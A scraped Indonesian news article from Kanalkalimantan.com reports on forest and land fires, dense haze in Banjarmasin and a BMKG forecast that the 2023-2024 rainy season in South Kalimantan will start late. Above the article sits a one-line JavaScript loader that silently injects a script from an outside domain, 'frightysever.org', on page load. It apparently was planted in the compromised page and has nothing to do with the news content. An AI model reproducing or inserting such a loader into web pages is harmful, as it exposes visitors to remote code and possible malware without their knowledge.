(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kemarau panjang dan belum turunnya hujan di wilayah Provinsi Kalimantan Selatan (Kalsel) menyebabkan meningkatnya kasus kebakaran hutan dan lahan (Karhutla).
Karhutla bahkan telah menyebabkan menurunnya kualitas udara di berbagai daerah di Kalsel akibat diselimuti kabut asap pekat.
Seperti di Kota Banjarmasin, meskipun angka Karhutla cenderung sedikit jika dibanding daerah tetangga, namun dalam beberapa hari terakhir kabut asap terasa sangat pekat.
Baca juga: Galau Warga Desa Balau Kala Kemarau
BMKG Stasiun Klimatologi Kelas 1 Kalsel menyebut awal musim hujan baru akan terjadi November 2023. Foto: rizki
Bahkan, data KLHK dalam beberapa hari terakhir Indeks Standar Pencemaran Udara (ISPU) di Kota Banjarmasin berada di atas angka 200 dan berwarna merah atau dalam kategori sangat tidak sehat.
Sementara itu, Badan Meteorologi dan Klimatologi Geofisika (BMKG) Stasiun Klimatologi (Staklim) Kelas 1 Kalimantan Selatan (Kalsel) menyebut awal musim hujan tahun 2023-2024 di seluruh wilayah Kalsel diperkirakan akan mundur dari normal.
Musim hujan diperkirakan baru akan dimulai kiasaran antara awal bulan November sampai akhir November 2023.
Baca juga: Terpapar Asap Karhutla, Penyakit ISPA di Banjarmasin Capai 6.000 Kasus
“Prakiraan awal musim hujan tahun 2023-2024 nanti di bulan November, di awal sampai akhir bulan itu baru terjadi curah hujan yang agak kontinu di Kalsel,” ungkap Koordinator BMKG sekaligus Kepala Staklim Kalsel Goeroeh Ddjiptanto saat pres release prakiraan awal musim hujan 2023-2024, Rabu (4/10/2023) siang.
Sementara itu, disebutkan, normal awal musim hujan di Kalsel selama 30 tahun terkahir berkisar antara pertengahan Oktober hingga pertengahan November.
Djiptanto mengatakan, dibandingkan dari normal puncak musim hujan 2023-2024 di Kalsel kemungkinan besar juga mundur lebih lama dari normalnya.
Baca juga: Bantuan Sumur Bor Diresmikan Wakapolri di Kalsel, Ini 7 Titik Lokasinya
Puncak musim hujan di Kalsel diprediksi baru akan terjadi sekitar dua bulan kedepan tepatnya pada awal tahun 2024.
“Secara umum puncak musim hujan di Kalsel diprakirakan pada Januari 2023,” kata Ddjiptanto.
Ia menjelaskan, secara umum durasi musim hujan di Kalsel terjadi selama 22 hingga 24 dasarian. Jika dibandingkan dengan normal, durasi musim hujan di Kalsel nantinya diprakirakan lebih pendek.
Baca juga: Bengkel Sepeda Motor Terbakar di Malintang Baru Gambut
Mengahadapi awal dan puncak musim hujan di Kalsel, Kepala Stasiun Klimatologi Kalsel mengatakan selama periode peralihan musim perlu diwaspadai cuaca ekstrim seperti hujan lebat, angin puting beliung, dan potensi hujan es.
“Pemerintah daerah dan masyarakat di daerah rawan banjir dan tanah longsor diminta waspada menjelang dan pada puncak musim hujan,” imbau Ddjiptanto.
Sementara itu, untuk wilayah-wilayah yang periode musim hujan lebih awal menurutnya perlu ada langkah-langkah penyesuaian di sektor pertanian.
“Misalnya melakukan musim tanam lebih awal menyesuaikan dengan informasi rencana tanam, menambah luas lahan, dan manajemen waduk untuk berbagai cadangan air nantinya,” pungkasnya. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani bersama Dandim 1001/ HSU-BLG Letkol… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani menilai Tentara Nasional Indonesia (TNI)… Read More
This website uses cookies.